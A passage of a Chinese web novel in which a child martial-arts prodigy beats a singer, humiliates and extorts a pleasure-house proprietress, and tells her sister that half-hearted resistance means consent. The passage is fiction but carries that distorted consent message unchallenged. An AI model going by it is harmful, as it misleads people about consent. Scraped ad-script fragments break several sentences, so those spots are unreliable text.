平安和我哈哈大笑,这傻子也不恼也不气,只跟着乐呵。韩燕熙何曾有过这幅样子,众人也算开了眼了。 台上焦灼,台下为堂邑夫加油的声音越来越大,似乎忘记押宝的时候押的不是堂邑夫,平安和公主也为堂邑夫的坚持不懈而感动,不停的为他呐喊助威,连包间的男人们也都为他鼓掌喝彩,李椒也暗中握紧拳头,为他使劲儿。 堂邑夫整个人都红成熟透的大虾,依然不屈不挠,最后朝天阙的女掌柜认输了,满脸心疼愧疚地扶着堂邑夫下了台…… 平安担心不已的跑下楼去看望堂邑夫了。我一手拍在遮台的栏杆上,称赞好样的,不愧是我的人。 李椒神色复杂地看了看我,握了握拳头。我只做没看见,转身下去找堂邑夫去了。堂邑夫不用我们照料他,对平安花郎的关心也客套的回应没事,看了一眼满脸担心自责的朝天阙女掌柜,咧着肿胀的嘴巴笑了笑,转身进了后台演员休息的小包房,我端了一些冰镇的梅子饮给他,又给他备好了水盆水桶毛巾等等,小声嘱托了他一番,退了出来,我知道他好面子,便叫众人同我一起离开。 台上的乐队又唱起了柳花郎的新式歌曲,沸腾全场,李大娘子也趁兴献艺,果然名不虚传,一曲动京城,当得起名扬天下的称号。 作为三楼包间的贵宾,我自然是要打赏的,这是江湖规矩,也是人情世故,我懂——抬手就是一千两黄金。引得全场哗然…… 随后李大娘子来贵宾包间敬酒,我以茶代酒回敬。敬完酒,李大娘子也不走,认准我小小年纪却是正主,知我不一般,便一副另眼相看的样子,大大方方展露想和我结交的意愿,随我一同坐在包间外,小花厅内侧的美人靠上,闲聊热络。 从小花厅向下看,颇有一种神仙俯瞰凡间的感觉,一楼大厅里赢了押宝大赚特赚的平安和柳花郎,兑换完彩头,正欢喜不已有说有笑的一起喂小溪流里的锦鲤。 62. 游船 郑清就在一边陪着……我怎么看,都觉得他像个局外人,不知道的还以为我妹妹和柳花郎才是一对。 我心里恨铁不成钢:这个郑清,你倒是上啊!唉,这个马奴——实在配不上我妹妹,倒是和另一边的翡翠……哼,翡翠,他也不配,人翡翠也是惠王府出身,之前和平安和他姐姐一样,都是平昭公主细心教养出来,来日有大用处的。 唉,这个郑清,我妹妹怎么就非他不可了呢?不行不行,我得想想办法…… 我思虑着,不知不觉就吃完了一小碟糖衣花生,还要吃,李大娘子却说小孩子不宜吃得太多,不然会消化不良,积食肚子疼,牙也不好。我可怜兮兮地央求说就一个,最后一个。 我刚才想事情想得太专注,没细品味道,这会儿口齿留香,馋得很。 正说着,就见一个女子经过平安身边,假借摔倒实则要扯平安的面罩。我翻腕一个糖衣花生弹了出去,那女子应声倒地,捂着手臂娇弱喊痛。 我面不改色,依然带笑,低声腹语道:“娘子手下的人越发规矩了。” 不等还在状况外的柳花郎和平安,放下鱼食小碗上前搀扶,李大娘子一个眼色瞪下去,便有人将那女子拉走了。那女子仰头看了看我们,一声不敢吱声。 李大娘子不好意思的笑了笑,拿了一颗糖衣花生喂我,我笑道:“小孩子不宜多食,娘子的歌唱得好,我新结识的友人对娘子多有称赞,不如娘子再唱几首可好?” 李大娘子知道我这是在给她台阶下,几首歌权当是赔礼了。便尽心尽力要伺候好包间里畅饮的我的好友们。有人提议说乘坐画舫夜游——摇曳在水上,有风华绝代的李大娘子献唱,欣赏月色下灯火通明的长安城,自然别有风味,大家兴致勃勃转战画舫…… 我下了楼,并未跟着众人一起去花满楼后面码头,而是和堂邑夫他们汇合,堂邑夫已经催吐完了,我给他含了几块冰,又细心给他擦了擦身上降温。 解除宵禁,夜游长安的人们大都是要通宵达旦的。城门照例定点就关,许多玩累了的客人要么留宿酒楼,要么留宿客栈,要么留宿花船画舫…… 时辰晚了,两位公主年纪尚幼,也困乏了,便提前回去。 平安不知怎得又跟郑清拌嘴了,又瘪嘴哭了起来。我叫郑清带着堂邑夫去我长安城里的宅子休息,嘱托翡翠帮我好生照顾堂邑夫,便牵着平安,带上柳花郎上了画舫。 水上看长安,越看越好看。这就是我父亲心心念念的长安城啊,真美!端庄大气,像我母亲一样。 李大娘子在画舫的小歌台上放声歌唱,歌声在水面悠扬萦绕,闻者皆沉浸其中。我们听着歌儿,看着水面星星点点的灯火,远处烟花四起,不一会儿,平安情绪就好了,只言后悔郑清没跟来,我道他来也不能入席啊,只能和护卫一起守在甲板上,刚才包间他都不好进去,他没有身份,很多事情是没办法的,不来反而好。 平安懊恼说她多愁善感,情绪起伏,问我是不是很烦人,又怯怯地解释她也不想这样,可就是跟精神病一样忍不住。我说没有啊,我感觉挺可爱,挺好玩的。 平安不安地问我是不是为了照顾她的情绪,安慰她才那样说的,我呵呵一笑,依在她肩头,特意强调说:“是真的,能照顾你的情绪,我很高兴。有七情六欲,有喜怒哀愁,人才是真真的人啊,不管你哭你笑,我看着都好,鲜活的生命就该是这样子的,你那么纯粹,那么真实,活得毫无顾忌,自由快意,是我羡慕的样子,是我喜欢的样子,你什么样子我看着都不觉得烦,我都没想着要烦,我喜欢的样子你都有,你所有的样子,我看着都开心,都喜欢。” “……长安,你真好。”说完平安抱着我又嘤嘤的哭起来。 “妹妹,只要你好好的,我才好。”我问道:“怎么又和郑清闹起来了呢?” “也没什么,他很好。”平安叹了口气,终还是忍不住跟我告状:“他嫌我腰肢太软,声音太柔,眸子太媚……” “他知道个屁……”我气不打一处来。 柳花郎道:“他这是都嫌弃的什么?他会不会嫌?他懂不懂?” “不许你说他。”平安黑着脸警告柳花郎。其实应该也在暗示我吧。 我观察了一下平安的神情,道:“你是不是挺闹矛盾的?即痛苦他嫌弃你,又欢喜他嫌的这些方面,哭着哭着就笑了,高兴着高兴着就委屈了?” 平安红着脸点点头。破案了,破案了,我妹妹这精神病,竟是这小子的功劳! 哼,那这小子,要不是个什么都不知道的真真儿傻子,就是个十足的高手,很会很会磨人的那种。平安要么是被拿捏了,要么本身就爱吃这套,那……有些苦吃着怕是也觉得甜如蜜,是说她活该遭这份罪呢,还是得承认他们合该是一对儿? 我想起他们坐在台下听戏的样子,心道虽我撞见着一回,却怕是那种情形不少有。便问平安是不是那小子做什么都答应的不痛快,非要你磨着求着讹着,才不情不愿半推半就的应承。 平安替郑清解释:“是我要求的太多了,让他为难了。没同意就是拒绝,我却总是强人所难,贪得无厌,弄得他进退两难。” 李大娘子一边弹着琵琶唱着歌儿,一边时不时侧目看我妹妹,她勾着嘴角,笑得有些……也说不上不屑和轻蔑,总之是不尊重,有种看笑话的感觉,但也不真是看笑话,还有一些说不上来的情愫——颇有一种过来人看局中人的感觉。 切,过来人,不过也是曾经的局中人罢了,高贵什么!? 我一边和妹妹说话,一边不着痕迹的拿眼踅摸这个江湖气十足伶俐有余的李大娘子。 我心疼妹妹这样懂事,“妹妹,半推半就就是同意。”平安疑惑的看着我,我又强调道:“半推半 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就就是愿意,就是同意,就是心甘情愿!男人都是很决绝的,不愿意就是不愿意,拒绝都是很钢很直的,没坚决说不,没断然拒绝,就是愿意。他享不享受你的这份痴缠我不知道,但他绝对没有被你强人所难,以后,你想挨着他坐就挨着他坐,没必要小心翼翼,旁敲侧击,看他脸色,他再敢假模假样躲你就弄他,你想抱他就抱他,想亲他就亲他,想怎样就怎样,他怎样,你不用管,你高兴就行,有什么好怕的,还反了他不成?怎么?我妹妹,直接生米煮成熟饭,又怎样?咱是没本事给一个马奴负责吗?一个名分,给他他就接着,不给他他就忍着,他能怎样?他……” 平安连忙捂住我的嘴巴,慌张羞怯的道:“长安,你小声些……” 李大娘子几首歌罢,正在席间给众人倒酒,谈笑风生。我这边动静大了些,倒也无妨,不伤大雅。 柳花郎看着我道:“长安,你都这样教妹妹的。”想必席间众人也都是这种想法,尤其是李大娘子,似乎有些惊讶嫉妒我妹妹这样被我宠爱着。 “怎么了?教错了吗?”我挑眉道。 “没……没有,我是没想到你的思想意识这么超前。”柳花郎气势一下弱了,说完,那手中折扇哗啦一下展开,讨好似的给平安和我扇风。 我总觉得柳花郎看似赞赏,其实那种骨子里与生俱来的优越感,无时无刻不在……也说不上是看低我们,但也绝对瞧不上。他别是一身仙骨,就真当自己是仙人,我们这些芸芸众生,就入不得他眼了——每次都是,哟,这凡人,有点东西啊。哟,这凡人,没那么笨啊。哟,这凡人,还知道这个啊。 我只觉得柳花郎扇的风带着他身上独有的香气,冲进我的鼻子,灌得我喘不上来,一下子就憋得恼火起来。抬手就是一巴掌,柳花郎的折扇飞了出去,他也被我突如其来的一巴掌打懵了。捂着脸,吃惊地瞪着一双微红潮润的星眸,委屈巴巴的,绝美破碎地问道:“我又怎么了?”说着将折扇捡回来收好。 “你说你怎么了?你说你怎么了?……”我一边质问,一边抓住他继续扇他。 柳花郎挥着胳膊,慌忙躲避,可他哪能逃得出我的手心,平安是万万拉不住我的,就挡在柳花郎身前,抱住我叫我别打了。 看平安牵制住了我,柳花郎喘息的功夫,抹了一下嘴角,看着血迹,瞬间恼红了脸,愤愤地看着,咬了咬牙,刚要张嘴,便被平安捂住嘴巴,平安急切地看着他道:“花郎,不要说,伤人的话不可以轻易说出口,人和人的感情就像绳子,一旦断了,再系起来,也是有结的,好不了了。” 柳花郎闻言,瞬间舒缓了脸色,只是还是很生气的看了看我,转身端起几案上的茶杯小口抿着,不打算与我计较的样子。 伤人的话?我勾了勾唇角,笑地十分阴暗,将平安拂开,对着柳花郎狠狠一巴掌,“啪”地一声,响彻整个画舫。 63. 赔礼 “长安!”平安简直要被我气死了。 我不理平安。只见柳花郎茶杯飞出去了也不捡,一身茶水茶叶也不整理,捂着脸,下巴不住的抖动,震惊地看着我,活像看阎罗。“啪!”我抬手又是一巴掌…… “长安,你到底要干什么?”平安挡在柳花郎和我之间,少有的向我生气。 “我,就是,想听听,他,能说出什么伤人的话来。”说完我推开平安,起身将柳花郎按倒,一顿拳打脚踢。 柳花郎趴在地上,捂住脸,任由我打,竟一声不吭。平安拉着我,道:“就为这?别打了,你再这样我不理你了……” “你为一个外人?……”我看着平安,平安别过头躲开我的视线,柳花郎这时倒来了志气,愤怒地直起身来,对着我大声道:“有本事你就打死我。” 平安头疼:“快闭嘴吧,长安真有这本事!” 我双手被平安抓着,抬腿蹬了他一脚,“哟,我还以为你哑巴了呢,说吧!快点说尽管说大胆说!” “说什么!”柳花郎又是那副宁死不屈的样子。 “伤人的话啊。”我就喜欢他这副不服气的样子,真是激发我的征服欲,释放我内心深处的小恶魔,不,大恶魔。 却见柳花郎士气锐减,低头不语。 “怎么,不敢?我见你刚才可是脱口欲出的样子,想必是一肚子长篇大论如滔滔江水连绵不绝啊。”我斜眼看着他。 “一……一生气全给忘了,一句也记不得了,哼!”柳花郎简直要怄死了,气急败坏地起身冲出画舫。 “长安!”平安责怪我,“你就不能对花郎好点吗?”说完也起身出了画舫,去甲板上宽慰柳花郎。 “……嘤嘤嘤……”我仰头就是大哭,“我妹妹眼瞎看上一个马奴,我妹妹胳膊肘还长反了……娘亲……我要娘亲……” 平安听我这么哭诉,也不好意思进船舱了,只在一侧的船舷往我这边的轩窗探头,不等开口说话,只听“哎呀”“扑通”“有人落水啦”…… 一时间喧哗起来…… 柳花郎一脸惊慌失措,手忙脚乱,大叫道:“平安落水了,长安长安……啊……我居然不会水……谁会水,赶紧下去救啊……长安……平安……” 我镇静自若,大声道:“谁也不许下水。” 我妹妹是个如花似玉的女儿家,落水最是狼狈,衣冠不整。水上岸上人那么多,若是众目睽睽被男人救了上来,肌肤之亲不可避免,名声就毁了。画舫里的人都停下动作,柳花郎也想明白其中厉害,赶紧阻止甲板上正解衣脱鞋的护卫,又大声阻止岸上几个好心人。 韩燕熙焦急的扶着轩窗往水面上看,责备催促我:“长安,你倒是赶紧下去救啊。” 我大声道:“我妹妹水性好着呢,比我好,小时候拉我下水,我差点给她淹死。”说着我蹦到轩窗窗台上,看着水面鼓起的泡泡,判断情势。 忽然一只雪白的纤纤玉手搭在船舷上,大概有些惊悚,柳花郎吓得倒吸着凉气,叫了一声哎呦他的妈呀。我没工夫理他,赶紧握住平安的手,水里的平安抬头看着我不说话,摇摇头。 我知道她怕什么,她此时轻薄的衣服湿透了,紧紧贴附在身上,倘若直接上船,那跟没穿衣服几乎没差别了,这么多人,她以后还怎么活? 我笑着道:“放心,有我呢,别怕。” 我一点一点将内力输出,一点一点拉平安出水,确保只要露出水面,头发衣服就是干的。平安惊奇不已,直到我将她整个提出水面,一阵风吹过,她发丝轻飘,衣袂翩翩,宛若芙蓉仙子。 众人惊叹不已,大呼奇了,不只是为了我妹妹的美丽,还因我深厚的内力。 李大娘子抱着琵琶坐在小歌台上,看着我和平安,惊叹道:“小小年纪,竟然……竟然是,玄止境!” 我举着平安道:“还不赶紧登船,就这样让我提着……”话没说完,就感觉一道内力向我袭来,我轻轻挥了挥另一只手,破了这道内力,画舫众人只觉一阵风吹过。我回头瞪了一眼李大娘子。 岂料李大娘子并不甘心,也不藏着掖着了,拂动琵琶琴弦,袭来一道比刚才更强的内力。平安踩着窗台在柳花郎的搀扶下,进到船舱,我抬手又是一挥,不着痕迹的再次化解李大娘子的试探,跳下窗台,眼神警告。可李大娘子铁了心要逼我出手,眼睛一转,灵机一动,朝着平安出手。 这,你算押对宝了……我往平安身前一挡,朝窗外湖面小手一挥,水花瞬间化成冰簪,随着我的内力向李大娘子飞去,李大娘子瞬间被我愤怒的气浪掀翻在地,整个人死死的被我的内力压制在地上,一动也不能动,冰簪停在她的面前,还在不断地延长,眼见就要划破她吹弹可破的脸蛋儿,刺入她媚眼十足的眸子…… 众人都屏住呼吸,“震惊”两个字,一再被刷新高度,此刻他们和李大娘子一样紧张……不知道是该恐惧我高深莫测的实力,还是该庆幸他们从来不是我的敌人。 “小,小公子,饶命!”李大娘子被我内力压制的十分难受,呼吸异常艰难,额角青筋暴起,呼吸都要停滞了。 我收了内力,冰簪瞬间化成水,淋了李大娘子一身,她狼狈的一手撑着身子,一手捂着胸口,小心压制翻涌的血气,猩红着眼睛看着我,大口的喘息,好看的嘴唇和下巴,不住的颤抖着,说不出话来。 “还好没摔坏。”平安捡起李大娘子的琵琶,小心查看一番,然后双手递给李大娘子。李大娘子看了看身上的水,怕弄湿了琵琶,感谢一番,请平安先放到一旁的几案上。 我见平安对那把琵琶很是上心,就问道:“你喜欢吗?” “嗯,喜欢,这么好的琵琶,谁不喜欢啊。”平安是喜欢的,但并没有想贪心占为己有的一丝念头。将琵琶放好就退到一边。 李大娘子被我的内力压迫的太狠,这会儿又没办法运功调息,虚弱极了。柳花郎过去那边,将她扶正,让她靠在肩上。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>我看了看李大娘子,然后用下巴指了指琵琶,又指了指平安。李大娘子故作不明所以。我挑了挑眉,道:“我妹妹说喜欢。” 李大娘子咬了咬嘴唇,不等开口,平安上前拉着我道:“长安,我……” “你刚才朝我妹妹的那一下,是要命的,这琵琶做赔礼,不为过。”说着,我走到几案前,抹了一下琵琶弦,声音清脆悦耳。转头居高临下看着李大娘子,邪魅一笑。 李大娘子打了一个寒战,跪着爬到几案前,用裙摆擦了擦手,将琵琶小心拿起,举过头顶,“方才是奴家不懂事,惊扰了平安姑娘,愿献上我大唐第一琵琶给姑娘压惊,还请姑娘笑纳。”短短几句话,李大娘子都要把自己说哭了。 “这是你们南唐第一琵琶?”我接过琵琶,塞我妹妹手里,平安觉得太贵重不敢也不好意思收,我眼神示意她拿着。她才手下,脸上忍不住开心,嘴角怎么也压不下去。抱着琵琶,到一边调试观摩。 李大娘子介绍说这是他们摄政王赏赐给她的,是李唐皇室御用之物,千真万确的大唐第一琵琶。 “我不毁你容貌,不废你武功,不杀你性命,全看在柳花郎的面子上。”我负手而立,道:“你们两清了,以后,他的歌你不许唱,给钱也不行,但凡你敢唱一句,我掀你摊子。” 不毁她容貌,就是不砸她饭碗,不废她武功,就是留她自保的能力,使她免于千人骑万人压,碾落成泥的命运,留她性命,还未伤她分毫,自然是最大的恩情。李大娘子想得明白,众人也都通晓这个道理。 可不让她再唱柳花郎的歌,几乎是断了她一大笔财路。 李大娘子双目含泪,我见犹怜的样子,咬了咬嘴唇,点点头。 我也点点头,很满意她的乖巧顺从,“你只是想试探我,就让我无端折耗内力,也得赔。” “还,还请小公子明示。”李大娘子内心忐忑,不知道我想要什么赔礼。毕竟世间难得的珍宝,已经赔给平安了。 我走到她身前,伸手托起她美丽的下巴,“我相中你……” “你可不能相中她啊,你都没长成,你还是个……”柳花郎突发精神病似得,将李大娘子一把揽在怀里护着,对我几乎哀求地制止。 “嗯?……”我感觉有点没跟上他的思路,刚反应过来,火,噌的一下就上来了,蹙着眉头,却没来得及开口,就见李大娘子,挣开柳花郎的怀抱,一把将我拉入怀中,像抱疼爱的孩子一样抱着我,下巴还在我额头上摩挲,温柔中带着娇羞,道:“承蒙公子不嫌弃,奴家也不是不能等。” “……咱就是说能不能等人把话说完,我想说我相中你的花满楼了。”李大娘子的怀抱,还是挺舒服的,身上的香气也好闻的很。 李大娘子闻言一怔,恭敬小心地将我从她怀里挪了出来,然后退到柳花郎身后,直接不装了,“你这小儿,贪心得很,折耗了多少内力,当我是个门外汉,全然不知吗,竟也好要我的花满楼作赔。” 64. 压制 “嗷呦,李大娘子自己惹祸上身,怪得了谁?”我抱臂,扬下巴,道:“再说,你也愿意等我长大,到时候你跟了我,花满楼不也是我的吗?早天晚天的事。” “那可大大的不一样,你相中我,和相中花满楼,其中区别,我还是分得清的。”李大娘子气得不行。 “是不是不愿意给?”我问道。 李大娘子别过头去不理我。 “长安,要不你再相中点别的?”柳花郎毕竟和李大娘子有救命的恩情,也了解我的脾气,怕她再惹恼了我,不好收场。 “你住口,没你,花满楼,这会儿说不定我都到手了。”我说着起身走到齐王身边,像个小猫一样挂在齐王的肩头,道:“李大娘子给是不给?” “不,给。”李大娘子一副你还敢明抢不成的样子。 我微微一笑,“君王面前,动用武力,行凶未遂,惊扰王驾,是,重罪。” 李大娘子被我气笑了,“哼,你这小葫芦里卖的药挺多啊!重罪?君王?哼,这儿哪有什么王驾可惊,长安城我是来的不久,三公九卿却也认得出,这些人连个官宦世家都不是,顶多富贵而已,如何与皇亲国戚相提并论,我动手就动手了,大不了这单买卖不做了,什么重罪不重罪的,想编瞎话吓唬我,真当我没见过世面,没见过君王?” 我也笑了,平安道:“李大娘子见过皇亲国戚?” “她哪见过什么皇亲国戚啊,她们南唐早就没什么皇亲国戚了,顶破天也就是在摄政王那个骄奢淫逸的乱臣贼子那里,开了眼,便以为和旁人见识不同了。”我充满鄙夷,不屑地一笑:“一叶障目不见泰山,如此美丽的一双眸子,却是个睁眼瞎。”我解下齐王的面罩,介绍道:“齐王。” 李大娘子脸上闪过一瞬慌张,打量了一下齐王,旋即镇定自若道:“呵呵,这是亲王?”随后坐正身子,指了指我们身后的那些“富贵人”,道:“你说那个,那个,还有那个是亲王,我倒是信。” “啧,别乱指。”柳花郎惊得一身冷汗,赶紧压下李大娘子的胳膊,“谁敢假扮亲王,那是死罪,这位真是齐王,赶紧跪拜。” 李大娘子还是不信,埋怨柳花郎也跟着旁人一起欺瞒她。柳花郎百口莫辩,却又实在不好多说,脸色憋得铁青。 我叫齐王拿出印信来,齐王说在旦公公那里,这时一直候在船尾后仓的旦公公将齐王印信举过头顶,猫着身子,快步进来,跪在齐王面前行礼,将手中的印信在李大娘子眼前一亮。 李大娘子瞬间慌了,匍匐跪在地上行叩拜大礼,请求饶命,雪乳漏了大半截,一览无余的展示在我们面前,我不禁“哇”了一声。 平安赶紧捂住我的眼睛,我恼得不行,按下平安的手臂再去看,满脸通红的李大娘子却已经将胸前遮得严严实实,我失望极了,责怪平安:“这么多人不捂,你捂我干什么,我有什么捂得必要吗?我又不是……我还是个孩子,看看,又有什么要紧?” “儿童不宜!”柳花郎和平安异口同声。 我憋的有些难受,一时说不出话来,长长输了口气,不服道:“这一船的男人,就我不宜?” “对!”也不知道众人哪来的默契,我自然不能特立独行,扫了一眼画舫众人,笑的人畜无害地点点头道:“对!确实对!” “这回没跑了吧?”我对李大娘子道:“你看,本来,你把花满楼赔给我就行了,我做东家,你做掌柜,多好。本来你也是想结交我,我做你的人,你做我的人不都一样吗?非是不听,这下好了,惊扰王驾,罪过大了,刚才出言不逊不认王驾,罪加一等,罪名既定,不可收回,你和你的姐妹们,这回要下大狱了,啧,还得劳烦我们鸿胪寺出使去南边交涉,你们摄政王愿意花钱赎你们,你们还能回去继续南边的买卖,要是不愿意,那就只能去我们大汉的教坊司过活了……” “不,公子,啊,齐王殿下,万万不可……”李大娘子这下才真正慌了,泪流满面,苦苦哀求的道:“奴家和姐妹们好不容易赎了身子,得了自由身,在南唐奴家这样出身的女子,是不好嫁人过活的,即便有些名气,也终究逃不过人老珠黄,年老色衰的那一日,是万万落不着好归宿的,奴家姐妹们一同商量,趁着青春尚在,风韵犹存,别离故土远赴大汉经营酒楼,相互帮持着过完这辈子,也就罢了。”李大娘子跪着爬上前来,不敢触碰齐王,只拉着我的衣角,哭道:“是奴家自持有些本事在身上,见小公子小小年纪便修得玄止境,一时胆大妄为,惹恼了公子,可是惊扰王驾,实在是无心之举,不知者不罪,要罚就罚奴家一人,不要连累楼里的众位姐妹,她们是无辜的,她们,都是苦命人,不能再入教坊司了,我们来大汉开酒楼,卖艺不卖身,就是不想再做皮肉生意了,她们不像我,有些美貌才气,有些武艺傍身,上了年纪也赚不得钱了,再入教坊司,就一辈子也出不来了,要罚就罚奴家一个人,杀了奴家,也绝无怨言……” “可……我看着楼里的姑娘各个都像南唐的细作。”我顿了顿道:“你,最像。” “她们不是什么细作,都是苦命人,她说得都是真……”不等柳花郎说完,我就打断他:“闭嘴,小心你也是细作。” “旦公公,去拿笔墨来,下道……王诏,我说你写。”旦公公愣了一下,不敢乱看,只看了看齐王,才按照我的意思将一应物品准备齐全,将空白的诏书展开,持笔等我发话,君王出行这些东西都是随同携带的。 我站起身扶手而立,齐王给我使了个眼色,我回了一个眼色,叫他放心,我有数。清了清嗓子道:“写,花满楼李大娘子下狱,交由大理寺鞫谳司审理,其他姑娘收入教坊司, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没入贱籍,哎,这句划掉,不要了,嗯……直接……直接让教坊司姑姑过来接管,花满楼的姑娘都是南唐顶尖的歌舞艺人,教坊司那套她们轻车熟路的很,比咱们这边的姑娘还精通,不用教习,着长安尉速速收楼,办理收押手续,直接让姑娘们上座营业就行,无缝衔接,也不耽误买卖。” “我们开的那是酒楼酒楼,不是秦楼楚馆,怎好让教坊司直接接管!?” “这个你不用管,我保证手续齐全,经营合法,姑娘们各司其职,爱岗敬业!” “你……”李大娘子怒目而睁,指着我,正要大放厥词。柳花郎眼疾手快,捂住她的嘴巴,一个劲儿嘘着,道:“别出声,别说话,越说越错,越错越无法挽回,那就是个活爹活阎罗,她说什么是什么吧,哎呀,你说你招惹她干什么,惹就惹了,她说你就听着,你早些听她的,也不至于……哎呀,你还是就听她的吧。”柳花郎抱着呜呜哽咽的李大娘子,感觉无能为力,身心疲惫。 “着鸿胪寺商讨赎买事宜,李大娘子赎金……三十万两黄金,其余人等……不许赎身……” “啊啊啊……我不想活了,我无颜面对姐妹,我去死吧,我还是去死吧……” “先别死,把话听完,”我笑了笑,道:“其余人等,一律送回吧。”李大娘子听完这句话,瞬间缓和了,我又笑了笑,“到底不是咱们大汉的人,细不细作的,审讯完了,大刑上完一遍也都没个人样了,人废了,留着也没啥用还浪费粮食,咱们也别要了,送回去吧。” “啊啊啊……你,好狠的心啊……啊啊啊……”李大娘子又哭了起来。 “哎,算了吧算了,划去划去,姑娘家家的,一个个花儿一样的美丽,辣手摧花,人家该说咱们大汉不懂怜香惜玉了,把这句这句都划了,还有这句都划了。”我神色认真地指点旦公公修改王诏。 “嗯,李大娘子的赎金改成一百万两黄金……” “一,一百万两,黄金?我还是,直接留下吧,一万两黄金,摄政王都不会出的,别为难我众位姐妹,叫我干什么我都依。”李大娘子义正言辞;“入教坊司,就入教坊司,不过就是做回老本行!” “娘子别自弃,你救我一命,我柳花郎怎么也不能再叫你失足,我倾家荡产也赎你出来。”柳花郎豪气万丈。 “想要救风尘?那感情好,你呢,你服侍过摄政王妹,她呐,她给摄政王暖过床,你给她赎了身,她正好以身相许,哟,你俩天造地设的一对儿啊,啧啧。”我一拍巴掌,手一摊,哈哈大笑,众人闻言也忍不住笑,平安沉迷琵琶,被众人的笑弄得有些莫名其妙,只柳花郎和李大娘子简直要爆炸了,显然对我乱点鸳鸯谱,十分不满,甚至憎恶,柳花郎咬着牙道:“长安,你不要太过分,我和李大娘子姐弟相待,断然不会有你说的那些腌臜事。” 65. 皇商 不得不说,柳花郎有的时候挺正的,尤其注重私德检点,动不动就宁死不屈,除了摄政王妹一个污点,没啥好挑剔的。 “哎,你顺道再把她那些姐妹给救了呗。”我提醒道。 “我……要不……你借我点儿……” “闭嘴!滚!不借!”这家伙给个杆子就往上爬,还真敢想。我气道:“还想管我借钱,我图什么?我把她们送进去,我再借你钱,把她们都赎出来?我有病?我相中花满楼就是看中这是块肥肉,没吃着,我还得朒肉,还得放血?到时候你借花献佛当好人,我成了什么?再说,你知道教坊司……先不论有牌号的,就单单一个普通姑娘多少钱吗?花满楼里的姑娘哪个普通?还真敢想把她们都给赎了!你问问李大娘子攒了多少年,才获自由?你还点儿?你点儿个屁!退一步讲,我借得起,你还得起不?你一个小小的协律郎拿什么还?” 我不理柳花郎,对李大娘子道:“哎,娘子也别自贱呐,摄政王未必不赎你。那琵琶价值连城,摄政王说赏也就赏了,可见娘子很得摄政王宠爱,不然我也不怀疑你是细作。”我走到李大娘子面前,笑呵呵的看着她,玩味儿道:“旦公公,给李大娘子准备的狱房,你亲自去打理,就按照当年我在代国住的那间来布置,叫人好生照料,别碰破了我们李大娘子一点油皮儿,回头摄政王赎回去睡着不舒服,该反过头来叫咱们赔钱啦。” “你……你这小魔……你小小年纪,怎好什么话都说得出口?”李大娘子满脸青红,倒是斟酌了用词,但终归是在气头上:“哼,王爷洁身自好,不近女色,和我清清白白,断不会如你所想所说那般腌臢!” “娘子生气的样子真是好看,”我忽然能够理解韩燕熙喜欢看我妹妹生气的样子了,想到这里不禁啧了啧舌,看来这病还会传染,我以后还是离韩燕熙远一点,以免品味相投,“清清白白?这话我也不是不能信,那个乱臣贼子,抢来的位置坐着不安,疑心病重,觉都睡不踏实,又怎么肯让一个内力五品的歌姬伺候枕席,什么不近女色,洁身自好,英雄难过美人关,我就不信天底下有哪个正常男人能对李大娘子坐怀不乱,分明是吓得不举了,成不了事。” 李大娘子没想到我还敢说更狠的,怒极反笑,这些年,她在酒色场上什么没见过,再新奇的事,也能消化。 看着她绝美的容颜,我矛盾起来,“啧,我还舍不得了。” “哼,你根本没想放我,摄政王不赎我,顺理成章扣下我,若是王爷肯花重金赎我,你便觉得奇货可居,更不可能放我,是也不是?”李大娘子一副早看穿我心思的样子,斥问。 我老老实实地点点头,像个乖巧懂事儿的孩子,“嗯”了一声。李大娘子气得憋闷死了,“你……”了一声,便再说不出话来。 “你不大好收服,看来……我也只能釜底抽薪喽。”说完,在李大娘子一脸大事不好的神色下,我咧嘴坏坏一笑,运了内力,对着船窗外,中气十足地拉长音,喊道:“李大娘子说,南唐摄政王不能人道,家伙事儿不行……” “……你,你,你,千里传音,你……”李大娘子决眦欲裂,捶胸顿足,“这倒底是个什么东西,怕不是个妖孽!?” “李大娘子说,南唐摄政王,不是个东西,是个妖孽……” “我李大娘,闯荡多年,没想到今日栽阴沟里了!”李大娘子牙都要咬碎了。 “李大娘子说,摄政王就是个阴沟……” “我不活了……”说着李大娘子拔下头上的发钗,就要自杀,我瞬间飞身过去,一把制住她,将她拉入怀中,她半躺着仰面含泪看着我,一脸生无可恋。有后路不走,和后路已断,再无退路,是完完全全两码事儿,说实话决心来北汉之后,南唐她就没打算回去,可如今她是再也回不去了…… 我轻轻拂去她的泪珠,柔声道:“我这般对你,是因为你对我用计在先,还利用我妹妹逼我出手,原本娘子只是想与我结交,见我是个玄止境,便生了驯服之心——也对,有个玄止境给你做后盾,这是多稳赚不赔的买卖?多花些心思也值。呵呵,我若真是个正常男人,顺着娘子的路子走,这会儿怕是已经和娘子红罗暖帐鸳鸯枕了,从此以后,就是娘子的裙下臣了吧。” 哼,哪个男人受得了她这等高段位的撩拨,她定然是打不过我这玄止境的,却依然出手,必是想先给我无伤大雅的温柔一刀,再满脸震惊,无比崇拜的仰慕和臣服,把我捧得高高的,百炼钢最怕绕指柔,英雄尚且气短,谁奈何得了儿女情长,若我真是个大男人,她稍加颜色,甜言蜜语,以身为饵,美人计完美闭环啦,我十有八九便叫她拿捏在手了。 众人闻言,细细琢磨,都是聪明人,头脑中过一遍,便了然——最开始先向你出手,让你以为她是自不量力的猎手,输给你,让你自信心爆棚,她生的我见犹怜,任谁也不舍得下死手,有了纠缠的理由,来往必定过密,一点一点沦陷,只是时间问题,到最后,你会发现她真的是以柔克刚的猎手,那时候你已经着了她的道了,动了心,收不回来了,心甘情愿成为她的猎物,从此任由她差遣。 平安低声在我耳边道:“你还是个孩子,她就用这手段对你啊?” 我转头在平安耳边低声道,花街柳巷出来的哪管老少,若我是个小男孩儿,打一巴掌给个糖枣儿,然后姐姐长弟弟短的,她那些招儿也好使,左不过是拿捏准了男人的劣根性,算无遗漏。可我一不是个男人,二不是个常人。她使再多再隐秘再刁钻的招数,奈何我不得,又怎么会奏效呢? “你,你,你小小年纪……”心事被料定,李大娘子惊得说不出话来,从我怀里出来,退了退,仔细认真地审视我。 “我,可不是小小年纪。”我淡淡道。 “我和你说过的,她有病!”柳花郎低声道。 